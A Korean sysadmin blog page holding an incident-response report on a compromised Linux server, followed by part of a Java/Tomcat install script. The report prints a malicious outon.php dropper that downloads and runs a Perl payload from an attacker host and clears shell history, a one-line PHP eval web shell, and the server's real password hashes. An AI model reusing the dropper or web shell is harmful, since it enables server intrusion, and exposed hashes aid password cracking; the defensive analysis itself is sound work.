[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] Iptables 설치 및 설정  (1) 2018.02.26
[기타] rsync 설치 및 사용법  (0) 2017.08.08
Posted by 실력키우기


 

 

[해킹점검]



[해킹점검시 유용한 명령어]

[root@localhost src]# w    

[root@localhost src]# netstat -anutp

[root@localhost src]# cat /var/log/message 및 모든로그 확인  // 글자가 깨져있을경우 크래킹이나 해킹의심

[root@localhost src]# pstree uid

[root@localhost src]# lsof |grep uid

[root@localhost src]# last -n 100

[root@localhost src]# vi /etc/passwd , /etc/shadow



[아래 내용은 최근 100회 로그인 내역입니다]

점검한PC 와 106.248.76.211(고객측 아이피로 추정) 에서만 접근 로그가 있으며, 이상없는것으로 판단.

 

[root@localhost src]# last -n 100

15445077 pts/2 115.68.87.2 Sat Sep 17 13:09 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 12:41 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 12:30 - 12:31 (00:00)

15445077 pts/1 115.68.87.2 Sat Sep 17 12:16 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 11:15 - 12:30 (01:14)

15445077 pts/0 115.68.87.2 Thu Sep 1 18:11 - 19:17 (01:05)

15445077 pts/0 106.248.76.211 Wed Jun 22 11:28 - 18:48 (07:19)

root pts/0 115.68.87.2 Thu Jun 9 15:14 - 15:28 (00:14)

15445077 pts/0 106.248.76.211 Wed Jun 8 13:33 - 19:39 (06:05)

15445077 pts/1 106.248.76.211 Wed Jun 8 10:59 - 13:24 (02:25)

root pts/0 115.68.87.2 Wed Jun 8 10:50 - 11:05 (00:15)

15445077 pts/0 115.68.87.2 Wed Jun 8 10:47 - 10:48 (00:01)

15445077 pts/0 106.248.76.221 Tue May 24 17:34 - 18:01 (00:26)

15445077 pts/0 106.248.76.221 Thu May 19 10:43 - 17:57 (07:13)

15445077 pts/1 localhost Tue Apr 5 00:21 - 00:23 (00:02)

15445077 pts/0 localhost Tue Apr 5 00:16 - 00:23 (00:07)

15445077 pts/0 106.248.76.221 Fri Apr 1 10:15 - 14:07 (03:51)

15445077 pts/0 106.248.76.221 Mon Mar 28 17:48 - 18:13 (00:25)

15445077 pts/0 106.248.76.221 Fri Mar 25 10:37 - 11:07 (00:29)

15445077 pts/1 115.68.87.2 Fri Mar 4 10:24 - 11:02 (00:38)

15445077 pts/1 106.248.76.221 Fri Jan 29 10:52 - 17:15 (06:23)

15445077 pts/1 106.248.76.221 Thu Jan 28 10:41 - 18:34 (07:52)

15445077 pts/1 106.248.76.221 Wed Jan 27 11:05 - 18:14 (07:09)

15445077 pts/1 106.248.76.221 Mon Jan 25 13:22 - 18:19 (04:56)

15445077 pts/1 106.248.76.221 Mon Jan 25 10:15 - 11:39 (01:24)

15445077 pts/1 106.248.76.221 Fri Jan 15 16:54 - 18:43 (01:48)

15445077 pts/1 106.248.76.221 Thu Jan 14 16:53 - 18:21 (01:27)

15445077 pts/1 106.248.76.221 Mon Jan 11 11:26 - 15:27 (04:00)

15445077 pts/1 115.68.87.2 Mon Jan 11 05:44 - 05:46 (00:02)

15445077 pts/1 115.68.87.2 Sat Jan 9 10:18 - 10:20 (00:01)

15445077 pts/1 115.68.87.2 Sat Jan 9 10:12 - 10:14 (00:01)

15445077 pts/2 115.68.87.2 Sat Jan 9 09:52 - 10:12 (00:20)

15445077 pts/1 222.122.6.29 Sat Jan 9 09:44 - 10:11 (00:27)

root pts/1 115.68.87.2 Sat Jan 9 05:33 - 08:58 (03:25)

root pts/1 115.68.87.2 Sat Jan 9 05:17 - 05:33 (00:15)

15445077 pts/2 115.68.87.2 Fri Jan 8 18:06 - 18:26 (00:20)

15445077 pts/3 115.68.87.2 Fri Jan 8 17:54 - 17:55 (00:00)

15445077 pts/2 115.68.87.2 Fri Jan 8 17:53 - 18:03 (00:10)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:59 - 17:08 (00:09)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:55 - 16:58 (00:03)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:44 - 16:46 (00:02)

15445077 pts/2 115.68.87.2 Fri Jan 8 16:39 - 17:44 (01:05)

15445077 pts/2 115.68.87.2 Fri Jan 8 16:36 - 16:38 (00:02)

15445077 pts/1 106.248.76.221 Fri Jan 8 10:36 - 18:37 (08:01)

15445077 pts/1 106.248.76.221 Wed Jan 6 15:40 - 18:31 (02:50)

15445077 pts/1 106.248.76.221 Tue Jan 5 15:13 - 18:38 (03:25)

15445077 pts/1 106.248.76.221 Mon Jan 4 15:30 - 18:07 (02:36)

root pts/1 115.68.87.2 Mon Jan 4 14:45 - 15:06 (00:21)

15445077 pts/1 106.248.76.221 Wed Dec 30 18:08 - 19:00 (00:52)

root pts/1 115.68.87.2 Wed Dec 30 17:03 - 17:05 (00:02)

root pts/1 115.68.87.2 Wed Dec 30 16:52 - 17:03 (00:10)

15445077 pts/1 115.68.87.2 Wed Dec 30 16:52 - 16:52 (00:00)

root pts/2 115.68.87.2 Tue Dec 29 11:25 - 11:39 (00:13)

15445077 pts/2 115.68.87.2 Tue Dec 29 11:25 - 11:25 (00:00)

15445077 pts/1 106.248.76.221 Tue Dec 29 10:14 - 19:30 (09:15)

15445077 pts/2 106.248.76.221 Mon Dec 28 16:13 - 18:25 (02:11)

root pts/1 115.68.87.2 Mon Dec 28 15:47 - 17:34 (01:47)

15445077 pts/1 106.248.76.221 Thu Dec 24 10:12 - 19:06 (08:54)

15445077 pts/1 106.248.76.221 Wed Dec 23 11:37 - 18:39 (07:01)

root tty1 Wed Dec 23 13:41 still logged in

15445077 pts/1 115.68.87.2 Wed Dec 23 13:38 - 04:46 (-8:-51)

15445077 pts/2 115.68.87.2 Wed Dec 23 01:21 - 01:21 (00:00)

15445077 pts/1 106.248.76.221 Tue Dec 22 18:54 - 02:41 (07:46)

15445077 pts/2 115.68.87.2 Tue Dec 22 02:51 - 03:13 (00:22)

15445077 pts/1 106.248.76.221 Tue Dec 22 01:47 - 04:12 (02:24)

15445077 pts/1 106.248.76.221 Mon Dec 21 21:43 - 01:04 (03:20)

15445077 pts/1 106.248.76.221 Thu Dec 17 00:46 - 02:58 (02:11)

15445077 pts/1 106.248.76.221 Mon Dec 14 22:58 - 04:03 (05:05)

15445077 pts/1 106.248.76.221 Wed Dec 9 22:31 - 00:26 (01:55)

15445077 pts/1 106.248.76.221 Wed Dec 9 00:14 - 04:36 (04:21)

15445077 pts/1 115.68.87.2 Sat Dec 5 18:19 - 18:19 (00:00)

root pts/2 115.68.87.2 Fri Dec 4 01:11 - 01:53 (00:42)

15445077 pts/1 106.248.76.221 Fri Dec 4 00:58 - 04:10 (03:12)

root pts/1 115.68.87.2 Fri Dec 4 00:55 - 00:56 (00:00)

15445077 pts/1 115.68.87.2 Fri Dec 4 00:20 - 00:20 (00:00)

root pts/1 115.68.87.2 Fri Dec 4 00:20 - 00:20 (00:00)

root pts/2 115.68.87.2 Fri Dec 4 00:03 - 00:20 (00:17)

root tty1 Fri Dec 4 00:00 - 01:42 (01:41)

15445077 pts/1 115.68.87.2 Thu Dec 3 23:56 - 00:08 (00:12)

15445077 pts/1 115.68.87.2 Thu Dec 3 23:53 - 23:54 (00:01)

root pts/0 115.68.87.2 Thu Dec 3 23:15 - 23:29 (00:14)

root pts/0 115.68.87.2 Thu Dec 3 18:21 - 19:40 (01:19)

root pts/0 115.68.87.2 Thu Dec 3 01:51 - 03:16 (01:25)

 

 

 

[아래 passwd파일에 대한 설명]

bash 권한을 가지고 있는 계정 root, 15445077, edu 3계정만 확인이 되며, 이부분 에서는 문제가 없는 것으로 판단.

또한 UID 부분이 0으로 되어있으면 일반 계정이 root 권한을 가지게 되는데, 확인결과 이상 계정없음.

 

# vi /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

mysql:x:400:400::/usr/local/mysql:/bin/false

15445077:x:500:500::/home/15445077:/bin/bash

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

edu:x:501:100::/home/edu:/bin/bash

 

 

 

[아래 shadow 파일에 대한 설명입니다.]

해당 파일에는 각 계정에 대한 패스워드가 암호화 되어 있는 파일인데, 이상이 있을 경우 암호화 된 문자가 없이 해당 계정만 있을경우 그 계정이 해킹에 사용된 계정으로 의심할 수 있습니다.

Shadow 파일은 이상이 없는것으로 보여짐.

 

# vi /etc/shadow

root:$6$laqpukkw$56tn8pZ8cOrwoHdQj6YiWunDDA5jrDyyJpgKRJX7x520Wj0v9KK76JBkY6yDqT.yPkiJqxDvoUCNQcSAq0PKr.:17045:0:99999:7:::

bin:*:15980:0:99999:7:::

daemon:*:15980:0:99999:7:::

adm:*:15980:0:99999:7:::

lp:*:15980:0:99999:7:::

sync:*:15980:0:99999:7:::

shutdown:*:15980:0:99999:7:::

halt:*:15980:0:99999:7:::

mail:*:15980:0:99999:7:::

uucp:*:15980:0:99999:7:::

operator:*:15980:0:99999:7:::

games:*:15980:0:99999:7:::

gopher:*:15980:0:99999:7:::

ftp:*:15980:0:99999:7:::

nobody:*:15980:0:99999:7:::

dbus:!!:16771::::::

vcsa:!!:16771::::::

rpc:!!:16771:0:99999:7:::

abrt:!!:16771::::::

rpcuser:!!:16771::::::

nfsnobody:!!:16771::::::

haldaemon:!!:16771::::::

ntp:!!:16771::::::

saslauth:!!:16771::::::

postfix:!!:16771::::::

sshd:!!:16771::::::

oprofile:!!:16771::::::

tcpdump:!!:16771::::::

mysql:!!:16771:0:99999:7:::

15445077:$6$Duw5orzQ$FyCRVB5mQ7Og3XEB1p8crhm2pLC/2k3QYgTY/rCYSJkYG8hWHaL7jth4oEaPVRQVc7UGUsASK25mkCawYZB0d/:17045:0:99999:7:::

mailnull:!!:16771::::::

smmsp:!!:16771::::::

edu:$6$47LUPpye$eBuUcfNpZSLQW5Zil2S7cocuHAXUt6gmwmAAaWu/J7uGPKqzP5feeAijgV83MVty3X.svjpqYaNE8PnqHvJBX0:16772:0:99999:7:::

 

 

 

[lastlog 입니다. 계정별로 마지막으로 로그인했던 내역을 보여줍니다.]

고객님께서 사용하시는 계정 15445077계정 외 로그인 기록은 없음

 

사용자이름 포트 어디서 최근정보

root pts/0 115.68.87.2 69 15:14:33 +0900 2016

bin **한번도 로그인한 적이 없습니다**

daemon **한번도 로그인한 적이 없습니다**

adm **한번도 로그인한 적이 없습니다**

lp **한번도 로그인한 적이 없습니다**

sync **한번도 로그인한 적이 없습니다**

shutdown **한번도 로그인한 적이 없습니다**

halt **한번도 로그인한 적이 없습니다**

mail **한번도 로그인한 적이 없습니다**

uucp **한번도 로그인한 적이 없습니다**

operator **한번도 로그인한 적이 없습니다**

games **한번도 로그인한 적이 없습니다**

gopher **한번도 로그인한 적이 없습니다**

ftp **한번도 로그인한 적이 없습니다**

nobody **한번도 로그인한 적이 없습니다**

dbus **한번도 로그인한 적이 없습니다**

vcsa **한번도 로그인한 적이 없습니다**

rpc **한번도 로그인한 적이 없습니다**

abrt **한번도 로그인한 적이 없습니다**

rpcuser **한번도 로그인한 적이 없습니다**

nfsnobody **한번도 로그인한 적이 없습니다**

haldaemon **한번도 로그인한 적이 없습니다**

ntp **한번도 로그인한 적이 없습니다**

saslauth **한번도 로그인한 적이 없습니다**

postfix **한번도 로그인한 적이 없습니다**

sshd **한번도 로그인한 적이 없습니다**

oprofile **한번도 로그인한 적이 없습니다**

tcpdump **한번도 로그인한 적이 없습니다**

mysql **한번도 로그인한 적이 없습니다**

15445077 pts/2 115.68.87.2 917 13:09:10 +0900 2016

mailnull **한번도 로그인한 적이 없습니다**

smmsp **한번도 로그인한 적이 없습니다**

edu **한번도 로그인한 적이 없습니다**

 

  

[의심되는 아파치 로그]

아래내용은 아파치 로그이며, y.cyberunder.org에서 read.txt파일을 다운로드 하는 로그로 보여짐.

계속요청하는것으로 보아서 문제가 있는것으로 판단.

 

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 8314 0 8314 0 0 12262 0 --:--:-- --:--:-- --:--:-- 17429^M100 54036 0 54036 0 0 54731 0 --:--:-- --:--:-- --:--:-- 68748

Number found where operator expected at read.txt line 2, near "IE 7"

(Do you need to predeclare IE?)

syntax error at read.txt line 2, near "[if"

Glob not terminated at read.txt line 5.

--2016-09-07 10:01:15-- http://y.cyberunder.org/read.txt

Resolving y.cyberunder.org... 104.27.132.20, 104.27.133.20

Connecting to y.cyberunder.org|104.27.132.20|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/plain]

Saving to: `read.txt'

 

0K .......... .......... .......... .......... .......... 157K

50K .. 394K=0.3s

 

2016-09-07 10:01:16 (162 KB/s) - `read.txt' saved [54036]

Can't open perl script "read.txt": 그런 파일이나 디렉터리가 없습니다

Can't open perl script "read.txt.txt": 그런 파일이나 디렉터리가 없습니다

 

   

[의심되는 프로세스]

nobody 권한으로 의심되는 프로세스가 구동중.

해당 프로세스들 중지 조치.

 

nobody 18227 15597 0 13:41 ? 00:00:00 sh -c cd '/home/15445077' ; cd /tmp;lwp-download http://y.cyberunder.org/read.txt;perl read.txt;p

 

nobody 18228 18227 0 13:41 ? 00:00:00 /usr/bin/perl -w /usr/bin/lwp-download http://y.cyberunder.org/read.txt

 

  

 

[ftp 의심되는 로그 및 조치내용]

177.41.158.46 186.214.147.149 IP에서 고객님 15445077계정으로 접속하여

/home/15445077/ 경로에 outon.php 파일을 업로드 시킨 로그확인.

Outon.php 파일내용을 토대로 문제가 있을것으로 판단되는 아래 파일들을 /usr/local/src/hacking.tar로 격리조치.

“Outon.php” , “rm.txt” , “read.txt” , “scan.sc” , “neutrinos.sc” (/tmp에 위치했던 파일)

 

 

ftp로그

Wed Sep 7 01:19:39 2016 1 177.41.158.46 4765 /home/15445077/outon.php a _ i r 15445077 ftp 0 * c

Mon Sep 12 10:28:05 2016 1 186.214.147.149 4765 /home/15445077/outon.php a _ i r 15445077 ftp 0 * c

 

  

outon.php 파일의 내용

<?php

$url="http://y.cyberunder.org/";

exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;GET '.$url.'read.txt > read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

passthru('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

system('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

shell_exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

popen('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;curl -O '.$url.'read.txt; perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;lynx -source '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;GET '.$url.'read.txt > read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@passthru('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@system('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@popen('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;curl -O '.$url.'read.txt; perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;lynx -source '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

?>

 

  

chkrootkit , rkhunter 를 이용하여 확인결과 이상없음.

해당 툴은 rootkit이 설치 되어있는지 검사하는 기능 및 주요 파일들의 소유권과 권한에 대한 점검, 데몬들이 이상이 있는지 검사하는 기능을 가지고 있음 

  

[secure 로그]

중국,프랑스, 방글라데시등에서 접근시도는 있었지만 접속은 하지 못함.

elcap 방화벽사용 , 원격접속포트 변경, 복잡한 패스워드로 바꾸실것을 권유

 

Sep 1 00:26:03 localhost sshd[10671]: Failed password for root from 121.18.238.20 port 38305 ssh2

Sep 1 00:25:59 localhost sshd[10630]: Failed password for root from 218.87.109.246 port 8754 ssh2

Sep 1 14:11:20 localhost sshd[5205]: Failed password for root from 116.31.116.5 port 50223 ssh2

Sep 18 04:04:50 localhost sshd[16167]: Failed password for root from 123.49.57.222 port 34239 ssh2

Sep 18 21:00:26 localhost sshd[32386]: Failed password for invalid user guest from 212.129.9.163 port 50479 ssh2

 

  

[휘슬 결과]

휘슬이란 Web Hacking inspection Security Tool 의 약자로써 공격자가 웹서버에 설치한 백도어 프로그램인 웹쉘 및 악성코드은닉 사이트를 탐지하는 프로그램 입니다.

아래 내용은 의심되는 휘슬결과 입니다. 소스 코드부분을 한번 확인권유

 

[1] [1 Found] /home/15445077/log/plug_in/data_backup_manager_english/dump.php

[2] [1 Found] /home/15445077/log/plug_in/data_backup_manager_korean/dump.php

[3] [1 Found] /home/15445077/log/plug_in/data_backup_manager_japanese/dump.php

[4] [1 Found] /home/15445077/log/plug_in/data_backup_manager_chinese_big5/dump.php

[5] [1 Found] /home/15445077/board/upload/15445077_20160404230435.php

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_english/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_korean/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_japanese/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_chinese_big5/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/board/upload/15445077_20160404230435.php

[Web Shell] : 2 : <?php @eval($_POST['#']);?>GIF89aGIF89a

 

 

 

해킹점검 요약

177.41.158.46 186.214.147.149 IP에서 고객님 15445077계정으로 접속하여

/home/15445077/ 경로에 outon.php 파일을 업로드한 로그 확인.

nobody 권한으로 해당 프로세스가 구동중이었으며, 해당 프로세스 구동중지시킴.

Outon.php 파일내용을 토대로 문제가 있을것으로 판단되는 아래 파일들을 /usr/local/src/hacking.tar로 격리조치.

“Outon.php” , “rm.txt” , “read.txt” , “scan.sc” , “neutrinos.sc”


Posted by 실력키우기

[java_tomcat설치 및 apm 연동스크립트]


#!/bin/bash


############################################################

#  설치에 필요한 변수 지정

############################################################


# 소스 다운로드 주소

SOURCE_ADDR="http://115.68.220.220/source/java_tomcat"


# htaccess 보안 설정 로그인 

ID="아이디비공개"

PW="비밀번호비공개"

wget="wget --user=$ID --password=$PW"


# 소스 저장 경로

SOURCE_DIR="/usr/local/src/Java_tomcat"


mkdir $SOURCE_DIR


cd $SOURCE_DIR


# java 버전 선택

java1="jdk1.7.0_45"

java2="jdk1.8.0_151"


echo ""

echo -e "    \\033[01;31m[[ Java 버전 선택 ]]"

echo -e "\\033[01;32m=============================="

echo -e "    \\033[01;32m1) Java 1.7.x ( 1.7.0_45 )"

echo -e "    \\033[01;32m2) Java 1.8.x ( 1.8.0_151 )"

echo ""

echo -e -n "\\033[01;33m버전을 선택해주세요 [1,2] : "

read Java_S

echo ""



# Tomcat 버전 선택

tomcat1="apache-tomcat-6.0.20"

tomcat2="apache-tomcat-7.0.42"

tomcat3="apache-tomcat-8.0.47"


echo ""

echo -e "    \\033[01;31m[[ Tomcat 버전 선택 ]]"

echo -e "\\033[01;32m=============================="

echo -e "    \\033[01;32m1) Tomcat 6.0.x ( 6.0.20 )"

echo -e "    \\033[01;32m2) Tomcat 7.0.x ( 7.0.42  )"

echo -e "    \\033[01;32m3) Tomcat 8.0.x ( 8.0.47  )"

echo ""

echo -e -n "\\033[01;33m버전을 선택해주세요 [1,2,3] : "

read Tomcat_S



# 아파치 설치되어 있는 경로 

echo ""

echo -e "    \\033[01;31m[[ 아파치 conf 파일 경로 입력 ]]"

echo -e "\\033[01;32m=============================="

echo ""

echo -e -n "\\033[01;33m 현재 아파치 conf 파일의 경로를 입력해주세요 : "

echo -e "\\033[01;33m ex) /usr/local/apache/conf/"

echo -e -n "\\033[01;33m 아파치 conf 파일 경로 : "

read apache_conf


# 아파치 apxs 경로

echo ""

echo -e "    \\033[01;31m[[ 아파치 apxs 경로 입력 ]]"

echo -e "\\033[01;32m=============================="

echo ""

echo -e -n "\\033[01;33m 현재 아파치 apxs 경로를 입력해주세요 : "

echo -e "\\033[01;33m ex ) /usr/local/apache/bin/apxs "

echo -e -n "\\033[01;33m 아파치 apxs 경로 : "

read apache_apxs


#Java 설치시작
case "$Java_S" in
1)
cd $SOURCE_DIR
$wget $SOURCE_ADDR/$java1-x86_64.tar.gz
tar zxvf $java1-x86_64.tar.gz
mv $java1 /usr/local/java
cp -arp /etc/profile /etc/profile_smileservbackup

#여기에 환경변수설정 // sed -i 로 2번째 줄부터 5번째 줄까지 환경변수 추가
sed -i '2 i\JAVA_HOME=/usr/local/java' /etc/profile
sed -i '3 i\CLASSPATH=.:$JAVA_HOME/lib/tools.jar' /etc/profile
sed -i '4 i\PATH=$PATH:$JAVA_HOME/bin' /etc/profile
sed -i '5 i\export JAVA_HOME CLASSPATH PATH' /etc/profile
source /etc/profile
;;

# 자바 1.8 설치 시작
# 자바 1.8버전은 ris에 없으며, 공식홈페이지에서 wget으로 다운받을경우 압축이 안풀리는 버그가 있음.
# 해당버전 개인 서버에 올려놓고 작업진행

2)
cd $SOURCE_DIR
#$wget $SOURCE_ADDR/$java2.tar.gz
#tar zxvf $java2.tar.gz
#mv $java2 /usr/local/java
wget --user=아이디비공개 --password=비밀번호비공개 http://115.68.220.220/java/jdk-8u151-linux-x64.tar.gz
tar -zxvf jdk-8u151-linux-x64.tar.gz
mv jdk1.8.0_151 /usr/local/java
cp -arp /etc/profile /etc/profile_backup

#여기에 환경변수설정 // sed -i 로 2번째 줄부터 5번째 줄까지 환경변수 추가
sed -i '2 i\JAVA_HOME=/usr/local/java' /etc/profile
sed -i '3 i\CLASSPATH=.:$JAVA_HOME/lib/tools.jar' /etc/profile
sed -i '4 i\PATH=$PATH:$JAVA_HOME/bin' /etc/profile
sed -i '5 i\export JAVA_HOME CLASSPATH PATH' /etc/profile
source /etc/profile
;;

*)
echo -e -n "잘못 입력 했습니다."
exit
;;
esac


#Tomcat 6버전 설치
case "$Tomcat_S" in
1)
cd $SOURCE_DIR
$wget $SOURCE_ADDR/$tomcat1.tar.gz
tar zxvf $tomcat1.tar.gz
mv $tomcat1 /usr/local/tomcat
cp -arp /etc/profile /etc/profile_backup2

# java에서 환경 변수 설정했던 부분을 sed 를 이용하여 다시 재설정
sed -i '3 i\CATALINA_HOME=/usr/local/tomcat' /etc/profile
sed -i 's/CLASSPATH=\.\:\$JAVA\_HOME\/lib\/tools\.jar/CLASSPATH\=\.\:\$JAVA\_HOME\/lib\/tools\.jar\:\$CATALINA\_HOME\/lib\-jsp\-api\.jar\:\$CATALINA\_HOME\/lib\/servlet\-api\.jar/g' /etc/profile
sed -i 's/PATH=\$PATH\:\$JAVA\_HOME\/bin/PATH=\$PATH\:\$JAVA\_HOME\/bin\:\$CATALINA\_HOME\/bin/g' /etc/profile
sed -i 's/JAVA\_HOME CLASSPATH PATH/JAVA\_HOME CLASSPATH PATH CATALINA\_HOME/g' /etc/profile
source /etc/profile
/usr/local/tomcat/bin/startup.sh
cp -arp /usr/local/tomcat/bin/catalina.sh /etc/init.d/tomcat
chkconfig --add tomcat
;;


#Tomcat 7버전 설치
2)
cd $SOURCE_DIR
$wget $SOURCE_ADDR/$tomcat2.tar.gz
tar zxvf $tomcat2.tar.gz
mv $tomcat2 /usr/local/tomcat
cp -arp /etc/profile /etc/profile_backup2

# java에서 환경 변수 설정했던 부분을 sed 를 이용하여 다시 재설정
sed -i '3 i\CATALINA_HOME=/usr/local/tomcat' /etc/profile
